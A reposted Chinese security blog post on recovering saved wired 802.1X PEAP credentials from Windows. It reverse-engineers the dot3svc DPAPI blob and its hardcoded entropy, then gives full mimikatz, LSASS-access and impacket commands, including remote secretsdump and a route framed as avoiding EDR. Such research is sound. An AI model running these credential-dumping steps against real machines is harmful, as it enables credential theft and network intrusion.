从网络配置文件中提取PEAP凭据

我的一位同事最近遇到了这样一种情况:他可以物理访问使用802.1X连接到有线网络的Windows计算机,同时保存了用于身份验证的用户凭据,随后他想提取这些凭据,您可能认为这没什么特别的,但是事情却有点崎岖波折……

如何开始

对于这篇博文我将假设读者已经熟悉基本的Windows凭据提取技术和802.1X网络身份验证概念,因为我想就一次简短地写一下。如果您搜索如何在Windows上提取受保护的可扩展身份验证协议(PEAP)凭据,您将找到大量有关无线网络的结果,但没有任何有关有线网络的结果。因为当谈到有线网络上的网络访问控制(NAC)时,常见的实现依赖于基于证书的身份验证(例如:EAP-TLS)或第三方软件和设备。
我们可以了解到有关无线网络PEAP的一件事是其凭证使用数据保护API(DPAPI)加密保存,这是一条非常基本的信息,但至少我们知道会发生什么,那么我们如何在有线接口上设置802.1X PEAP身份验证呢?这很简单,我们打开"Windows设置"应用程序,单击"网络和 Internet",转到"Internet"部分,单击链接"更改适配器选项",然后我们就会看到旧版控制面板的"网络连接"视图

从那里我们可以选择一个以太网接口,右键单击它以打开上下文菜单,单击"属性"并转到"身份验证"选项卡...

有时候我们可能会发现没有"身份验证"选项卡,这种情况下我们就需要启动"有线自动配置"服务,也就是dot3svc,完成后"身份验证"选项卡在属性中可见

最后我们可以点击"高级设置",勾选"指定身份验证模式",在下拉列表中选择"用户身份验证",点击"保存凭据"后输入我们的凭据

为了这篇博文的目的,这里我们选择了容易识别的值:ThisIsMyUsername和ThisIsMyPassword,设置现已准备就绪,现在我们可以开始尝试提取凭据了

凭据存储

假设凭证存储在文件系统或注册表的某个位置,那么我们的想法就是使用Process Monitor来查找诸如CreateFile、WriteFile或之类的操作RegSetValue

可以看到在几秒钟之内就捕获了数千个事件,耐心地浏览这些事件时我注意到一个非常有趣的事件链,lsass.exe进程打开了帐户Preferred的文件LocalSystem,这暗示使用了DPAPI,然后是RegSetValue另一个服务(svchost.exe进程)的操作

RPC过程s_SSCryptProtectData是与客户端API相对应的服务器端函数CryptProtectData,同时因为访问的是账户Preferred的文件LocalSystem,所以我们知道使用了哪个主密钥
下面的截图显示了有关该操作的一些细节,二进制blob被写入注册表项中的RegSetValue名称为的值,此操作源自服务,我们之前必须启动该服务才能首先配置PEAP,WiredHKLM\SOFTWARE\Microsoft\dot3svc\Interfaces{215B523B-D0D3-42AB-BF7E-C143108E2422}\UserData\Profiles{9A2E6B93-5356-49B7-A0E1-67B8CE8AEBBE}dot3svc

二进制数据以01 00 00 00 D0 8C ...开头,它看起来绝对像一个DPAPI blob

解密操作

快速查看注册表可以确认一个新的"用户数据配置文件"以具有随机GUID的注册表项的形式附加到我们的网络接口并且一个名为的二进制值Wired已添加到此配置文件中

我们可以使用PowerShell中的以下命令提取原始数据并将其保存到文件中

$RegPath = "HKLM\SOFTWARE\Microsoft\dot3svc\Interfaces\{215B523B-D0D3-42AB-BF7E-C143108E2422}\UserData\Profiles\{9A2E6B93-5356-49B7-A0E1-67B8CE8AEBBE}"
$Blob = Get-ItemPropertyValue -Path "Registry::$RegPath" -Name "Wired"
[IO.File]::WriteAllBytes("C:\Temp\wired.bin", $Blob)

通过将输出文件输入到mimikatz中,我们可以确认数据确实是DPAPI blob,该工具还显示关联主密钥的ID 48c77ef6-4aa9-4da5-b850-b545e4b86de6:

dpapi::blob /in:c:\temp\wired.bin /raw

当然我们也可以通过读取文件内容来获取此信息Preferred,因为它包含当前正在使用的主密钥的GUID,但在实际情况下它可能是一个较旧的密钥,因此从blob本身获取此信息仍然更可靠

获取主密钥值的一种方法是使用mimikatz命令sekurlsa::dpapi,请注意它需要具有LSASS进程的访问权限(例如:具有调试权限)

要获取明文数据,我们只需将命令行参数/unprotect和添加/masterkey:KEY到上一个dpapi::blob命令中

dpapi::blob /in:c:\temp\wired.bin /raw /unprotect /masterkey:73b724580d0abfd9ebb62c462151334ced52fb75203dace1f8ab631326b75c3a297246e577362dfba88bb3ae5561fa091e1d9b02c450d859a19fed66e397d9f5

我们得到错误代码0x80090005,即NTE_BAD_DATA,当"要解密的数据无效"或"发现填充无效CryptDecrypt"时会返回此错误,此时我尝试摆弄输入数据还使用十六进制编辑器仔细检查了blob数据并验证了主密钥,但我无法弄清楚解密出了什么问题

回退分析

我非常确定自己对输入数据(即数据blob和主密钥)无能为力,因此我得出结论——解密过程中还涉及其他内容,我退后一步仔细查看导致该操作的事件,RegSetValue看看是否遗漏了什么

根据此调用堆栈,RpcSetProfileEapUserData将调用RPC过程,这将导致调用内部函数StSaveUserData并使用API将 DPAPI blob写入注册表RegSetValueExW,正如我们之前所见,通过快速查看dot3svc.dllGhidra很容易重建该StSaveUserData函数源代码的以下部分

// ...
status = RegCreateKeyExW(hKey, lpSubKey, 0, NULL, 0, KEY_WRITE, NULL, &hNewKey, NULL);
if (status == 0) {
  bSuccess = CryptProtectData(
              &DataIn,    // pointer to DATA_BLOB: encrypted data
              NULL,       // optional description
              &blobSalt,  // pointer to DATA_BLOB: optional entropy
              NULL,       // reserved
              NULL,       // optional
              CRYPTPROTECT_UI_FORBIDDEN, // flags
              &DataOut    // pointer to DATA_BLOB: decrypted data
            );
  if (bSuccess) {
    status = RegSetValueExW(hNewKey, lpValueName, 0, REG_BINARY, DataOut.pbData, DataOut.cbData);
  }
}
// ...

有趣的部分就在这里,第三个(可选)参数用于传递对名为blobSalt的全局变量的引用,请注意我没有给这个变量命名,该名称blobSalt是在链接到的公共符号文件中提供的dot3svc.dll
根据文档CryptProtectData,此参数是"指向DATA_BLOB结构的指针,该结构包含用于加密数据的密码或其他附加熵",此外"加密阶段使用的结构也必须在解密阶段使用",结构DATA_BLOB定义如下,它包含指向缓冲区的指针以及缓冲区的大小

typedef struct _CRYPTOAPI_BLOB {
  DWORD cbData;
  BYTE  *pbData;
} CRYPT_INTEGER_BLOB, /* ... */, DATA_BLOB, /* ... */ *PCRYPT_ATTR_BLOB;

在我的DLL版本(10.0.19041.3636))中全局变量blobSalt位于0x1800400c0可写部分中的地址.data,数据类型最初_CRYPTOAPI_BLOB由Ghidra的PDB分析器设置,但此结构未定义,因此我将数据类型设置为DATA_BLOB

我原本以为结构会全为零并在服务初始化期间填充,但我发现缓冲区地址设置为0x1800377e0,位于只读.rdata部分内,换句话说看起来熵/盐值只是硬编码的

最后我们的凭证只是使用帐户的主密钥LocalSystem和盐进行加密,幸运的是mimikatz有一个命令参数,我们可以通过它传递这个可选值

dpapi::blob /in:c:\temp\wired.bin /raw /unprotect /masterkey:73b724580d0abfd9ebb62c462151334ced52fb75203dace1f8ab631326b75c3a297246e577362dfba88bb3ae5561fa091e1d9b02c450d859a19fed66e397d9f5 /entropy:6eafe55eabc3495c9808c61ee123342f /out:c:\temp\wired_decrypted.bin

这次解密成功了,我们可以读取输出文件来获取我们的明文凭证

现在您可能想知道此值是否在所有版本的DLL中都相同,我不能肯定地说,但我检查了其中几个结果是相同的,所以很可能是这样

隐秘方法

Mimikatz是一款很棒的工具,但让它在目标机器上运行起来可能很麻烦,尤其是在当今,有那么多EDR/XDR保护措施,我自己有一些打包程序可以完成这项工作,但我们最好不要直接在目标上运行任何东西,为此我设计了一个仅使用impacket脚本离线解密数据的程序
首先我们可以重用初始的PowerShell命令将DPAPI blob转储到文件中

$RegPath = "HKLM\SOFTWARE\Microsoft\dot3svc\Interfaces\{215B523B-D0D3-42AB-BF7E-C143108E2422}\UserData\Profiles\{9A2E6B93-5356-49B7-A0E1-67B8CE8AEBBE}"
$Blob = Get-ItemPropertyValue -Path "Registry::$RegPath" -Name "Wired"
[IO.File]::WriteAllBytes("C:\Temp\wired.bin", $Blob)

如果我们可以通过网络访问目标,我们可以使用以下命令递归查询注册表并转储我们感兴趣的值

# 1. Get the network interface and profile IDs
export KEY_BASE="HKLM\SOFTWARE\\Microsoft\\dot3svc\\Interfaces"
impacket-reg 'USER:PASS@TARGET' query -keyName "${KEY_BASE}" -s

# 2. Get the content of the 'Wired' value
export INTERFACE_GUID="{INTERFACE_GUID_HERE}" # {215B523B-D0D3-42AB-BF7E-C143108E2422}
export PROFILE_GUID="{PROFILE_GUID_HERE}"     # {9A2E6B93-5356-49B7-A0E1-67B8CE8AEBBE}
impacket-reg 'USER:PASS@TARGET' query -keyName "${KEY_BASE}\\${INTERFACE_GUID}\\UserData\\Profiles\\${PROFILE_GUID}" -v "Wired"

假设我们有一个名为wired.bin包含DPAPI blob的文件,我们可以将其输入到dpapi.py脚本中以获取主密钥的ID

impacket-dpapi unprotect -file "wired.bin"

有了这些信息,我们就知道需要从目标机器检索哪个主密钥文件

cp "C:\windows\System32\Microsoft\Protect\S-1-5-18\User\48C77EF6-4AA9-4DA5-B850-B545E4B86DE6" "c:\temp"
attrib.exe /s /h /r /d "C:\temp\48C77EF6-4AA9-4DA5-B850-B545E4B86DE6"

主密钥受帐户的DPAPI用户密钥保护,如果您有和配置单元LocalSystem的副本,则可以按如下方式提取它,您也可以使用它来远程转储它——SYSTEMSECURITYsecretsdump.py

# Locally
impacket-secretsdump -system "system.bin" -security "security.bin" LOCAL

# Remotely
impacket-secretsdump 'USER:PASS@TARGET'

有了DPAPI用户密钥,我们就可以解密主密钥文件从而提取保护我们的DPAPI blob的密钥

impacket-dpapi masterkey -file "48C77EF6-4AA9-4DA5-B850-B545E4B86DE6" -key "0xc99eb525bc17b9da543b4851290dff4066502f39"

最后我们可以提供DPAPI blob、加密密钥和熵文件来dpapi.py解密DPAPI blob并提取保存的凭据

echo "6eafe55eabc3495c9808c61ee123342f" | xxd -r -p > entropy.bin
impacket-dpapi unprotect -file "wired.bin" -key "0x73b724580d0abfd9ebb62c462151334ced52fb75203dace1f8ab631326b75c3a297246e577362dfba88bb3ae5561fa091e1d9b02c450d859a19fed66e397d9f5" -entropy-file "entropy.bin"

文末小结

这是一次有趣的探索旅程,最重要的是这是一个探索DPAPI的好机会,希望这篇文章能帮助任何遇到类似情况的人

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/723541.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

利用AI云防护实现高效负载均衡

在当今高度数字化的世界里,保证网站和应用的高可用性和响应速度对企业的业务连续性和用户体验至关重要。传统的负载均衡技术虽然能够分发流量,但在面对突发流量、DDoS攻击或资源动态调整时往往力不从心。本文将探讨如何借助AI云防护服务,不仅…

使用芯片为ZYNQ—7020,基于野火FPGA ZYNQ开发板

使用芯片为ZYNQ—7020,基于野火FPGA ZYNQ开发板 肤色模型简介 YCrCb也称为YUV,主要用于优化彩色视频信号的传输。与RGB视频信号传输相比,它最大的优点在于只需占用极少的频宽(RGB要求三个独立的视频信号同时传输)。其…

轻松获取指定日期所在周的周一和周日

哈喽,大家好呀,好久不见!今天是一篇浅记。根据传入日期自动获取所在周一和周日… 正常基操方法,根据传入日期自动获取所在周一和周日。注意传入日期是周日的情况哈,需要往前推7天才是周一。 楼主方法中已处理&#xf…

为何Proteus用户争相拥抱SmartEDA?揭秘背后的强大吸引力!

在电路设计与仿真领域,Proteus一度以其稳定性能和丰富功能赢得了众多用户的青睐。然而,近年来,越来越多的Proteus用户开始转向SmartEDA,这一新兴电路仿真软件正迅速崭露头角,成为行业内的翘楚。那么,究竟是…

数据模型——饮食记录

数据模型——饮食记录 本次实验完成饮食记录的数据模型,如下图所示 该饮食记录模型与上次的记录项数据模式定义处理方式相同,我们首先分析其数据结构,我们发现首先有早餐、午餐、晚餐等记录类型数据模型,其包括了id、类型名称、类…

几个小实验

小实验 shh远程管理 ssh是一种安全通道协议,只能用来实现字符界面的远程登录。远程复制,远程文本传输。 ssh对通信双方的数据进行了加密。 用户名和密码登录 密钥对认证方式(可以实现免密登录) ssh 22 网络层 传输层 数据传…

龙虎斗(2018)c++

题目描述 输入 输出 样例输入,输出 输入 #1 输出 #1 6 2 2 3 2 3 2 3 4 6 5 2 输入 #2 输出 #2 6 …

最新技术:跨境电商源码,应对多国市场需求,让您轻松开展全球业务!

随着全球化进程的不断推进,跨境电商已成为企业拓展国际市场的重要途径。为了满足不同国家和地区消费者不断增长的需求,跨境电商源码应运而生,为企业提供了便捷高效的全球化业务发展方案。 一、全球化运营的关键 跨境电商源码的核心功能在于…

GaussDB技术解读——GaussDB架构介绍(五)

GaussDB架构介绍(四)从云原生关键技术架构&关键技术方案两方面对GaussDB云原生架构进行了解读,本篇将从关键技术方案的事务存储组件、SQL引擎组件、DCS组件、实时分析组件等方面继续介绍GaussDB云原生架构。 目录 事务存储组件 1、本地…

零基础入门学用Arduino 第四部分(三)

重要的内容写在前面: 该系列是以up主太极创客的零基础入门学用Arduino教程为基础制作的学习笔记。个人把这个教程学完之后,整体感觉是很好的,如果有条件的可以先学习一些相关课程,学起来会更加轻松,相关课程有数字电路…

《EDA技术》同步十三进制计数器实验报告

摘要: 本实验通过Multsim和Quartus软件完成对同步十三进制计数器的仿真,运用Quartus软件编VHDL程序,实现波形图的生成,并且运用Multsim软件进行电路图仿真。同时,加深 对数字电路和VHDL语言的理解,提高实验…

2024 年 Python 基于 Kimi 智能助手 Moonshot Ai 模型搭建微信机器人(更新中)

注册 Kimi 开放平台 Kimi:https://www.moonshot.cn/ Kimi智能助手是北京月之暗面科技有限公司(Moonshot AI)于2023年10月9日推出的一款人工智能助手,主要为用户提供高效、便捷的信息服务。它具备多项强大功能,包括多…

04 Pytorch tensor

一:老版本的 variable 二:新版 tensor 曾经:求导相关 如今:数据相关 –dtype: 张量的数据类型,三大类,共9种。torch.FloatTensor, torch.cuda.FloatTensor –shape: 张量的形状。如:&#x…

k8s学习--Kruise Rollouts 基本使用

文章目录 Kruise Rollouts简介什么是 Kruise Rollouts?核心功能 应用环境一、OpenKruise部署1.安装helm客户端工具2. 通过 helm 安装 二、Kruise Rollouts 安装2. kubectl plugin安装 三、Kruise Rollouts 基本使用(多批次发布)1. 使用Deployment部署应用2.准备Roll…

[Cloud Networking] SPDY 协议

文章目录 1. 背景2. SPDY 之前3. SPDY 项目目标4. SPDY 功能特点4.1 SPDY基本功能4.2 SPDY高级功能 1. 背景 TCP是通用的、可靠的传输协议,提供保证交付、重复抑制、按顺序交付、流量控制、拥塞避免和其他传输特性。 HTTP是提供基本请求/响应语义的应用层协议。 不…

网格布局之重复轨道

网格布局之重复轨道 欢迎关注:xssy5431 小拾岁月 参考链接:https://mp.weixin.qq.com/s/FQboZRMhdOFWqVDZ5JScDg 点击查看 使用场景 在网页开发中,我们尝尝会遇到宫格布局,比如:3 * 3,4 * 4布局等等。 …

6月19日(周三)A股行情总结:A股震荡收跌,恒生科技指数大涨3%,10年期国债期货转涨续创新高

内容提要 车路云概念延续昨日涨势,华铭智能20CM 3连板。贵金属及PEEK材料概念全日走强;港股有色金属及能源股走强,紫金矿业涨超3%,中石油涨超3%。国债期货午后全线转涨,10年期主力合约涨0.05%报104.925元,…

7zip安装后压缩包图标显示空白解决办法

记录安装7zip软件后,出现了如下的图标是空白的问题: (虽然我最终解决了但是我不确定是哪一步起的作用,但是我也懒得再情景复现了。) 我的解决过程是: 在开始菜单栏搜索“7zip ”然后点击“打开。 然后点击 &#xf…

HTTP!!!

HTTP 一 : 请求报文1.2 : 首行1.3 :请求头(header)1.4 : 空行1.5 : 正文 body 二: 响应报文2.2 : 首行 三 : URL 一 : 请求报文 一个HTTP 请求报文, 分成四个部分 首行 GET https://cn.bing.com/?FORMZ9FD1 HTTP/1.1请求头(header)空行正文(body) 1.2 : 首行 首行又分为三个…

CobaltStrike后渗透进阶篇

0x01 网络钓鱼攻击 钓鱼攻击简介 钓鱼攻击主要通过生成的木马诱使受害者运行后上线,其中木马一般都伪装成正常的程序。与此同时配合钓鱼网站可帮助攻击者模拟真实网站诱骗受害者访问,达到获取账号密码、上线木马等目的。接下来主要介绍后门程序的生成及…